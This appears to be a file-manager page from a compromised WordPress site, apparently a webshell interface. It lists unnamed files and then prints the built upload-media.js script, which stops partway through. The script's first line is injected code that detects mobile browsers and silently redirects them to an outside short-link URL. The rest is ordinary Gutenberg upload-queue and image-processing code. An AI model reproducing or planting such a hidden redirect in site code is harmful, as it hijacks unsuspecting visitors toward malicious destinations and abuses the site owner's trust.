run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄upload-media.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).uploadMedia = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __require = /* @__PURE__ */ ((x) => typeof require !== "undefined" ? require : typeof Proxy !== "undefined" ? new Proxy(x, {
12 get: (a, b) => (typeof require !== "undefined" ? require : a)[b]
13 }) : x)(function(x) {
14 if (typeof require !== "undefined") return require.apply(this, arguments);
15 throw Error('Dynamic require of "' + x + '" is not supported');
16 });
17 var __commonJS = (cb, mod) => function __require2() {
18 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
19 };
20 var __export = (target, all) => {
21 for (var name in all)
22 __defProp(target, name, { get: all[name], enumerable: true });
23 };
24 var __copyProps = (to, from, except, desc) => {
25 if (from && typeof from === "object" || typeof from === "function") {
26 for (let key of __getOwnPropNames(from))
27 if (!__hasOwnProp.call(to, key) && key !== except)
28 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
29 }
30 return to;
31 };
32 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
33 // If the importer is in node compatibility mode or this is not an ESM
34 // file that has been converted to a CommonJS file using a Babel-
35 // compatible transform (i.e. "__esModule" has not been set), then set
36 // "default" to the CommonJS "module.exports" for node compatibility.
37 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
38 mod
39 ));
40 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
41
42 // package-external:@wordpress/data
43 var require_data = __commonJS({
44 "package-external:@wordpress/data"(exports, module) {
45 module.exports = window.wp.data;
46 }
47 });
48
49 // package-external:@wordpress/url
50 var require_url = __commonJS({
51 "package-external:@wordpress/url"(exports, module) {
52 module.exports = window.wp.url;
53 }
54 });
55
56 // package-external:@wordpress/i18n
57 var require_i18n = __commonJS({
58 "package-external:@wordpress/i18n"(exports, module) {
59 module.exports = window.wp.i18n;
60 }
61 });
62
63 // package-external:@wordpress/blob
64 var require_blob = __commonJS({
65 "package-external:@wordpress/blob"(exports, module) {
66 module.exports = window.wp.blob;
67 }
68 });
69
70 // package-external:@wordpress/private-apis
71 var require_private_apis = __commonJS({
72 "package-external:@wordpress/private-apis"(exports, module) {
73 module.exports = window.wp.privateApis;
74 }
75 });
76
77 // package-external:@wordpress/element
78 var require_element = __commonJS({
79 "package-external:@wordpress/element"(exports, module) {
80 module.exports = window.wp.element;
81 }
82 });
83
84 // package-external:@wordpress/compose
85 var require_compose = __commonJS({
86 "package-external:@wordpress/compose"(exports, module) {
87 module.exports = window.wp.compose;
88 }
89 });
90
91 // vendor-external:react/jsx-runtime
92 var require_jsx_runtime = __commonJS({
93 "vendor-external:react/jsx-runtime"(exports, module) {
94 module.exports = window.ReactJSXRuntime;
95 }
96 });
97
98 // packages/upload-media/build-module/index.mjs
99 var index_exports = {};
100 __export(index_exports, {
101 MediaUploadProvider: () => provider_default,
102 UploadError: () => UploadError,
103 clearFeatureDetectionCache: () => clearFeatureDetectionCache,
104 detectClientSideMediaSupport: () => detectClientSideMediaSupport,
105 isClientSideMediaSupported: () => isClientSideMediaSupported,
106 store: () => store
107 });
108
109 // packages/upload-media/build-module/store/index.mjs
110 var import_data = __toESM(require_data(), 1);
111
112 // packages/upload-media/build-module/store/types.mjs
113 var Type = /* @__PURE__ */ ((Type2) => {
114 Type2["Unknown"] = "REDUX_UNKNOWN";
115 Type2["Add"] = "ADD_ITEM";
116 Type2["Prepare"] = "PREPARE_ITEM";
117 Type2["Cancel"] = "CANCEL_ITEM";
118 Type2["Remove"] = "REMOVE_ITEM";
119 Type2["RetryItem"] = "RETRY_ITEM";
120 Type2["PauseItem"] = "PAUSE_ITEM";
121 Type2["ResumeItem"] = "RESUME_ITEM";
122 Type2["PauseQueue"] = "PAUSE_QUEUE";
123 Type2["ResumeQueue"] = "RESUME_QUEUE";
124 Type2["OperationStart"] = "OPERATION_START";
125 Type2["OperationFinish"] = "OPERATION_FINISH";
126 Type2["AddOperations"] = "ADD_OPERATIONS";
127 Type2["CacheBlobUrl"] = "CACHE_BLOB_URL";
128 Type2["RevokeBlobUrls"] = "REVOKE_BLOB_URLS";
129 Type2["UpdateProgress"] = "UPDATE_PROGRESS";
130 Type2["UpdateSettings"] = "UPDATE_SETTINGS";
131 return Type2;
132 })(Type || {});
133 var ItemStatus = /* @__PURE__ */ ((ItemStatus2) => {
134 ItemStatus2["Queued"] = "QUEUED";
135 ItemStatus2["Processing"] = "PROCESSING";
136 ItemStatus2["Paused"] = "PAUSED";
137 ItemStatus2["Uploaded"] = "UPLOADED";
138 ItemStatus2["Error"] = "ERROR";
139 return ItemStatus2;
140 })(ItemStatus || {});
141 var OperationType = /* @__PURE__ */ ((OperationType2) => {
142 OperationType2["Prepare"] = "PREPARE";
143 OperationType2["Upload"] = "UPLOAD";
144 OperationType2["ResizeCrop"] = "RESIZE_CROP";
145 OperationType2["Rotate"] = "ROTATE";
146 OperationType2["TranscodeImage"] = "TRANSCODE_IMAGE";
147 OperationType2["ThumbnailGeneration"] = "THUMBNAIL_GENERATION";
148 OperationType2["Finalize"] = "FINALIZE";
149 return OperationType2;
150 })(OperationType || {});
151
152 // packages/upload-media/build-module/store/constants.mjs
153 var STORE_NAME = "core/upload-media";
154 var DEFAULT_MAX_CONCURRENT_UPLOADS = 5;
155 var DEFAULT_MAX_CONCURRENT_IMAGE_PROCESSING = 2;
156 var CLIENT_SIDE_SUPPORTED_MIME_TYPES = [
157 "image/jpeg",
158 "image/png",
159 "image/gif",
160 "image/webp",
161 "image/avif"
162 ];
163
164 // packages/upload-media/build-module/store/reducer.mjs
165 var noop = () => {
166 };
167 var DEFAULT_STATE = {
168 queue: [],
169 queueStatus: "active",
170 blobUrls: {},
171 settings: {
172 mediaUpload: noop,
173 maxConcurrentUploads: DEFAULT_MAX_CONCURRENT_UPLOADS,
174 maxConcurrentImageProcessing: DEFAULT_MAX_CONCURRENT_IMAGE_PROCESSING
175 }
176 };
177 function reducer(state = DEFAULT_STATE, action = { type: Type.Unknown }) {
178 switch (action.type) {
179 case Type.PauseQueue: {
180 return {
181 ...state,
182 queueStatus: "paused"
183 };
184 }
185 case Type.ResumeQueue: {
186 return {
187 ...state,
188 queueStatus: "active"
189 };
190 }
191 case Type.PauseItem:
192 return {
193 ...state,
194 queue: state.queue.map(
195 (item) => item.id === action.id ? {
196 ...item,
197 status: ItemStatus.Paused
198 } : item
199 )
200 };
201 case Type.ResumeItem:
202 return {
203 ...state,
204 queue: state.queue.map(
205 (item) => item.id === action.id ? {
206 ...item,
207 status: ItemStatus.Processing
208 } : item
209 )
210 };
211 case Type.Add:
212 return {
213 ...state,
214 queue: [...state.queue, action.item]
215 };
216 case Type.Cancel:
217 return {
218 ...state,
219 queue: state.queue.map(
220 (item) => item.id === action.id ? {
221 ...item,
222 error: action.error
223 } : item
224 )
225 };
226 case Type.RetryItem:
227 return {
228 ...state,
229 queue: state.queue.map(
230 (item) => item.id === action.id ? {
231 ...item,
232 status: ItemStatus.Processing,
233 error: void 0,
234 retryCount: (item.retryCount ?? 0) + 1
235 } : item
236 )
237 };
238 case Type.Remove:
239 return {
240 ...state,
241 queue: state.queue.filter((item) => item.id !== action.id)
242 };
243 case Type.OperationStart: {
244 return {
245 ...state,
246 queue: state.queue.map(
247 (item) => item.id === action.id ? {
248 ...item,
249 currentOperation: action.operation
250 } : item
251 )
252 };
253 }
254 case Type.AddOperations:
255 return {
256 ...state,
257 queue: state.queue.map((item) => {
258 if (item.id !== action.id) {
259 return item;
260 }
261 return {
262 ...item,
263 operations: [
264 ...item.operations || [],
265 ...action.operations
266 ]
267 };
268 })
269 };
270 case Type.OperationFinish:
271 return {
272 ...state,
273 queue: state.queue.map((item) => {
274 if (item.id !== action.id) {
275 return item;
276 }
277 const operations = item.operations ? item.operations.slice(1) : [];
278 const attachment = item.attachment || action.item.attachment ? {
279 ...item.attachment,
280 ...action.item.attachment
281 } : void 0;
282 return {
283 ...item,
284 currentOperation: void 0,
285 operations,
286 ...action.item,
287 attachment,
288 additionalData: {
289 ...item.additionalData,
290 ...action.item.additionalData
291 }
292 };
293 })
294 };
295 case Type.CacheBlobUrl: {
296 const blobUrls = state.blobUrls[action.id] || [];
297 return {
298 ...state,
299 blobUrls: {
300 ...state.blobUrls,
301 [action.id]: [...blobUrls, action.blobUrl]
302 }
303 };
304 }
305 case Type.RevokeBlobUrls: {
306 const newBlobUrls = { ...state.blobUrls };
307 delete newBlobUrls[action.id];
308 return {
309 ...state,
310 blobUrls: newBlobUrls
311 };
312 }
313 case Type.UpdateProgress:
314 return {
315 ...state,
316 queue: state.queue.map(
317 (item) => item.id === action.id ? {
318 ...item,
319 progress: action.progress
320 } : item
321 )
322 };
323 case Type.UpdateSettings: {
324 return {
325 ...state,
326 settings: {
327 ...state.settings,
328 ...action.settings
329 }
330 };
331 }
332 }
333 return state;
334 }
335 var reducer_default = reducer;
336
337 // packages/upload-media/build-module/store/selectors.mjs
338 var selectors_exports = {};
339 __export(selectors_exports, {
340 getItems: () => getItems,
341 getSettings: () => getSettings,
342 isUploading: () => isUploading,
343 isUploadingById: () => isUploadingById,
344 isUploadingByUrl: () => isUploadingByUrl
345 });
346 function getItems(state) {
347 return state.queue;
348 }
349 function isUploading(state) {
350 return state.queue.length >= 1;
351 }
352 function isUploadingByUrl(state, url) {
353 return state.queue.some(
354 (item) => item.attachment?.url === url || item.sourceUrl === url
355 );
356 }
357 function isUploadingById(state, attachmentId) {
358 return state.queue.some(
359 (item) => item.attachment?.id === attachmentId || item.sourceAttachmentId === attachmentId
360 );
361 }
362 function getSettings(state) {
363 return state.settings;
364 }
365
366 // packages/upload-media/build-module/store/private-selectors.mjs
367 var private_selectors_exports = {};
368 __export(private_selectors_exports, {
369 getActiveImageProcessingCount: () => getActiveImageProcessingCount,
370 getActiveUploadCount: () => getActiveUploadCount,
371 getAllItems: () => getAllItems,
372 getBlobUrls: () => getBlobUrls,
373 getFailedItems: () => getFailedItems,
374 getItem: () => getItem,
375 getItemProgress: () => getItemProgress,
376 getPausedUploadForPost: () => getPausedUploadForPost,
377 getPendingImageProcessing: () => getPendingImageProcessing,
378 getPendingUploads: () => getPendingUploads,
379 hasPendingItemsByParentId: () => hasPendingItemsByParentId,
380 isBatchUploaded: () => isBatchUploaded,
381 isPaused: () => isPaused,
382 isUploadingToPost: () => isUploadingToPost
383 });
384 function getAllItems(state) {
385 return state.queue;
386 }
387 function getItem(state, id) {
388 return state.queue.find((item) => item.id === id);
389 }
390 function isBatchUploaded(state, batchId) {
391 const batchItems = state.queue.filter(
392 (item) => batchId === item.batchId
393 );
394 return batchItems.length === 0;
395 }
396 function isUploadingToPost(state, postOrAttachmentId) {
397 return state.queue.some(
398 (item) => item.currentOperation === OperationType.Upload && item.additionalData.post === postOrAttachmentId
399 );
400 }
401 function getPausedUploadForPost(state, postOrAttachmentId) {
402 return state.queue.find(
403 (item) => item.status === ItemStatus.Paused && item.additionalData.post === postOrAttachmentId
404 );
405 }
406 function isPaused(state) {
407 return state.queueStatus === "paused";
408 }
409 function getBlobUrls(state, id) {
410 return state.blobUrls[id] || [];
411 }
412 function getActiveUploadCount(state) {
413 return state.queue.filter(
414 (item) => item.currentOperation === OperationType.Upload
415 ).length;
416 }
417 function getPendingUploads(state) {
418 return state.queue.filter((item) => {
419 const nextOperation = Array.isArray(item.operations?.[0]) ? item.operations[0][0] : item.operations?.[0];
420 return nextOperation === OperationType.Upload && item.currentOperation !== OperationType.Upload;
421 });
422 }
423 function getActiveImageProcessingCount(state) {
424 return state.queue.filter(
425 (item) => item.currentOperation === OperationType.ResizeCrop || item.currentOperation === OperationType.Rotate
426 ).length;
427 }
428 function getPendingImageProcessing(state) {
429 return state.queue.filter((item) => {
430 const nextOperation = Array.isArray(item.operations?.[0]) ? item.operations[0][0] : item.operations?.[0];
431 return (nextOperation === OperationType.ResizeCrop || nextOperation === OperationType.Rotate) && item.currentOperation !== OperationType.ResizeCrop && item.currentOperation !== OperationType.Rotate;
432 });
433 }
434 function getFailedItems(state) {
435 return state.queue.filter((item) => item.error !== void 0);
436 }
437 function hasPendingItemsByParentId(state, parentId) {
438 return state.queue.some((item) => item.parentId === parentId);
439 }
440 function getItemProgress(state, id) {
441 const item = state.queue.find((i) => i.id === id);
442 return item?.progress;
443 }
444
445 // packages/upload-media/build-module/store/actions.mjs
446 var actions_exports = {};
447 __export(actions_exports, {
448 addItems: () => addItems,
449 cancelItem: () => cancelItem,
450 retryItem: () => retryItem
451 });
452
453 // node_modules/uuid/dist/esm-browser/rng.js
454 var getRandomValues;
455 var rnds8 = new Uint8Array(16);
456 function rng() {
457 if (!getRandomValues) {
458 getRandomValues = typeof crypto !== "undefined" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
459 if (!getRandomValues) {
460 throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
461 }
462 }
463 return getRandomValues(rnds8);
464 }
465
466 // node_modules/uuid/dist/esm-browser/stringify.js
467 var byteToHex = [];
468 for (let i = 0; i < 256; ++i) {
469 byteToHex.push((i + 256).toString(16).slice(1));
470 }
471 function unsafeStringify(arr, offset = 0) {
472 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + "-" + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + "-" + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + "-" + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + "-" + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
473 }
474
475 // node_modules/uuid/dist/esm-browser/native.js
476 var randomUUID = typeof crypto !== "undefined" && crypto.randomUUID && crypto.randomUUID.bind(crypto);
477 var native_default = {
478 randomUUID
479 };
480
481 // node_modules/uuid/dist/esm-browser/v4.js
482 function v4(options, buf, offset) {
483 if (native_default.randomUUID && !buf && !options) {
484 return native_default.randomUUID();
485 }
486 options = options || {};
487 const rnds = options.random || (options.rng || rng)();
488 rnds[6] = rnds[6] & 15 | 64;
489 rnds[8] = rnds[8] & 63 | 128;
490 if (buf) {
491 offset = offset || 0;
492 for (let i = 0; i < 16; ++i) {
493 buf[offset + i] = rnds[i];
494 }
495 return buf;
496 }
497 return unsafeStringify(rnds);
498 }
499 var v4_default = v4;
500
501 // packages/upload-media/build-module/image-file.mjs
502 var ImageFile = class extends File {
503 width = 0;
504 height = 0;
505 originalWidth = 0;
506 originalHeight = 0;
507 get wasResized() {
508 return (this.originalWidth || 0) > this.width || (this.originalHeight || 0) > this.height;
509 }
510 constructor(file, width, height, originalWidth, originalHeight) {
511 super([file], file.name, {
512 type: file.type,
513 lastModified: file.lastModified
514 });
515 this.width = width;
516 this.height = height;
517 this.originalWidth = originalWidth;
518 this.originalHeight = originalHeight;
519 }
520 };
521
522 // packages/upload-media/build-module/utils.mjs
523 var import_url = __toESM(require_url(), 1);
524 var import_i18n = __toESM(require_i18n(), 1);
525 function convertBlobToFile(fileOrBlob) {
526 if (fileOrBlob instanceof File) {
527 return fileOrBlob;
528 }
529 if ("name" in fileOrBlob && typeof fileOrBlob.name === "string") {
530 return new File([fileOrBlob], fileOrBlob.name, {
531 type: fileOrBlob.type,
532 lastModified: fileOrBlob.lastModified
533 });
534 }
535 const ext = fileOrBlob.type.split("/")[1];
536 const mediaType = "application/pdf" === fileOrBlob.type ? "document" : fileOrBlob.type.split("/")[0];
537 return new File([fileOrBlob], `${mediaType}.${ext}`, {
538 type: fileOrBlob.type
539 });
540 }
541 function renameFile(file, name) {
542 return new File([file], name, {
543 type: file.type,
544 lastModified: file.lastModified
545 });
546 }
547 function cloneFile(file) {
548 return renameFile(file, file.name);
549 }
550 function getFileBasename(name) {
551 return name.includes(".") ? name.split(".").slice(0, -1).join(".") : name;
552 }
553
554 // packages/upload-media/build-module/store/utils/index.mjs
555 var vipsModulePromise;
556 var vipsModule;
557 function loadVipsModule() {
558 if (!vipsModulePromise) {
559 vipsModulePromise = import("@wordpress/vips/worker").then(
560 (mod) => {
561 vipsModule = mod;
562 return mod;
563 }
564 );
565 }
566 return vipsModulePromise;
567 }
568 async function vipsConvertImageFormat(id, file, type, quality, interlaced) {
569 const { vipsConvertImageFormat: convertImageFormat } = await loadVipsModule();
570 const buffer = await convertImageFormat(
571 id,
572 await file.arrayBuffer(),
573 file.type,
574 type,
575 quality,
576 interlaced
577 );
578 const ext = type.split("/")[1];
579 const fileName = `${getFileBasename(file.name)}.${ext}`;
580 return new File([new Blob([buffer])], fileName, {
581 type
582 });
583 }
584 async function vipsHasTransparency(url) {
585 const { vipsHasTransparency: hasTransparency } = await loadVipsModule();
586 const response = await fetch(url);
587 if (!response.ok) {
588 throw new Error(`Failed to fetch image: ${response.status}`);
589 }
590 return hasTransparency(await response.arrayBuffer());
591 }
592 async function vipsResizeImage(id, file, resize, smartCrop, addSuffix, signal, scaledSuffix, quality) {
593 if (signal?.aborted) {
594 throw new Error("Operation aborted");
595 }
596 const { vipsResizeImage: resizeImage } = await loadVipsModule();
597 const { buffer, width, height, originalWidth, originalHeight } = await resizeImage(
598 id,
599 await file.arrayBuffer(),
600 file.type,
601 resize,
602 smartCrop,
603 quality
604 );
605 let fileName = file.name;
606 const wasResized = originalWidth > width || originalHeight > height;
607 if (wasResized) {
608 const basename = getFileBasename(file.name);
609 if (scaledSuffix) {
610 fileName = file.name.replace(basename, `${basename}-scaled`);
611 } else if (addSuffix) {
612 fileName = file.name.replace(
613 basename,
614 `${basename}-${width}x${height}`
615 );
616 }
617 }
618 const resultFile = new ImageFile(
619 new File(
620 [new Blob([buffer], { type: file.type })],
621 fileName,
622 {
623 type: file.type
624 }
625 ),
626 width,
627 height,
628 originalWidth,
629 originalHeight
630 );
631 return resultFile;
632 }
633 async function vipsRotateImage(id, file, orientation, signal) {
634 if (signal?.aborted) {
635 throw new Error("Operation aborted");
636 }
637 if (orientation === 1) {
638 return file;
639 }
640 const { vipsRotateImage: rotateImage } = await loadVipsModule();
641 const { buffer, width, height } = await rotateImage(
642 id,
643 await file.arrayBuffer(),
644 file.type,
645 orientation
646 );
647 const basename = getFileBasename(file.name);
648 const fileName = file.name.replace(basename, `${basename}-rotated`);
649 const resultFile = new ImageFile(
650 new File(
651 [new Blob([buffer], { type: file.type })],
652 fileName,
653 {
654 type: file.type
655 }
656 ),
657 width,
658 height
659 );
660 return resultFile;
661 }
662 async function vipsCancelOperations(id) {
663 if (!vipsModule) {
664 return false;
665 }
666 return vipsModule.vipsCancelOperations(id);
667 }
668 function terminateVipsWorker() {
669 if (vipsModule) {
670 vipsModule.terminateVipsWorker();
671 }
672 }
673
674 // packages/upload-media/build-module/validate-mime-type.mjs
675 var import_i18n2 = __toESM(require_i18n(), 1);
676
677 // packages/upload-media/build-module/upload-error.mjs
678 var UploadError = class extends Error {
679 code;
680 file;
681 constructor({ code, message, file, cause }) {
682 super(message, { cause });
683 Object.setPrototypeOf(this, new.target.prototype);
684 this.code = code;
685 this.file = file;
686 }
687 };
688
689 // packages/upload-media/build-module/validate-mime-type.mjs
690 function validateMimeType(file, allowedTypes) {
691 if (!allowedTypes) {
692 return;
693 }
694 const isAllowedType = allowedTypes.some((allowedType) => {
695 if (allowedType.includes("/")) {
696 return allowedType === file.type;
697 }
698 return file.type.startsWith(`${allowedType}/`);
699 });
700 if (file.type && !isAllowedType) {
701 throw new UploadError({
702 code: "MIME_TYPE_NOT_SUPPORTED",
703 message: (0, import_i18n2.sprintf)(
704 // translators: %s: file name.
705 (0, import_i18n2.__)("%s: Sorry, this file type is not supported here."),
706 file.name
707 ),
708 file
709 });
710 }
711 }
712
713 // packages/upload-media/build-module/validate-mime-type-for-user.mjs
714 var import_i18n3 = __toESM(require_i18n(), 1);
715
716 // packages/upload-media/build-module/get-mime-types-array.mjs
717 function getMimeTypesArray(wpMimeTypesObject) {
718 if (!wpMimeTypesObject) {
719 return null;
720 }
721 return Object.entries(wpMimeTypesObject).flatMap(
722 ([extensionsString, mime]) => {
723 const [type] = mime.split("/");
724 const extensions = extensionsString.split("|");
725 return [
726 mime,
727 ...extensions.map(
728 (extension) => `${type}/${extension}`
729 )
730 ];
731 }
732 );
733 }
734
735 // packages/upload-media/build-module/validate-mime-type-for-user.mjs
736 function validateMimeTypeForUser(file, wpAllowedMimeTypes) {
737 const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes);
738 if (!allowedMimeTypesForUser) {
739 return;
740 }
741 const isAllowedMimeTypeForUser = allowedMimeTypesForUser.includes(
742 file.type
743 );
744 if (file.type && !isAllowedMimeTypeForUser) {
745 throw new UploadError({
746 code: "MIME_TYPE_NOT_ALLOWED_FOR_USER",
747 message: (0, import_i18n3.sprintf)(
748 // translators: %s: file name.
749 (0, import_i18n3.__)(
750 "%s: Sorry, you are not allowed to upload this file type."
751 ),
752 file.name
753 ),
754 file
755 });
756 }
757 }
758
759 // packages/upload-media/build-module/validate-file-size.mjs
760 var import_i18n4 = __toESM(require_i18n(), 1);
761 function validateFileSize(file, maxUploadFileSize) {
762 if (file.size <= 0) {
763 throw new UploadError({
764 code: "EMPTY_FILE",
765 message: (0, import_i18n4.sprintf)(
766 // translators: %s: file name.
767 (0, import_i18n4.__)("%s: This file is empty."),
768 file.name
769 ),
770 file
771 });
772 }
773 if (maxUploadFileSize && file.size > maxUploadFileSize) {
774 throw new UploadError({
775 code: "SIZE_ABOVE_LIMIT",
776 message: (0, import_i18n4.sprintf)(
777 // translators: %s: file name.
778 (0, import_i18n4.__)(
779 "%s: This file exceeds the maximum upload size for this site."
780 ),
781 file.name
782 ),
783 file
784 });
785 }
786 }
787
788 // packages/upload-media/build-module/store/actions.mjs
789 function addItems({
790 files,
791 onChange,
792 onSuccess,
793 onError,
794 onBatchSuccess,
795 additionalData,
796 allowedTypes
797 }) {
798 return async ({ select: select2, dispatch }) => {
799 const batchId = v4_default();
800 for (const file of files) {
801 try {
802 validateMimeType(file, allowedTypes);
803 validateMimeTypeForUser(
804 file,
805 select2.getSettings().allowedMimeTypes
806 );
807 } catch (error) {
808 onError?.(error);
809 continue;
810 }
811 try {
812 validateFileSize(
813 file,
814 select2.getSettings().maxUploadFileSize
815 );
816 } catch (error) {
817 onError?.(error);
818 continue;
819 }
820 dispatch.addItem({
821 file,
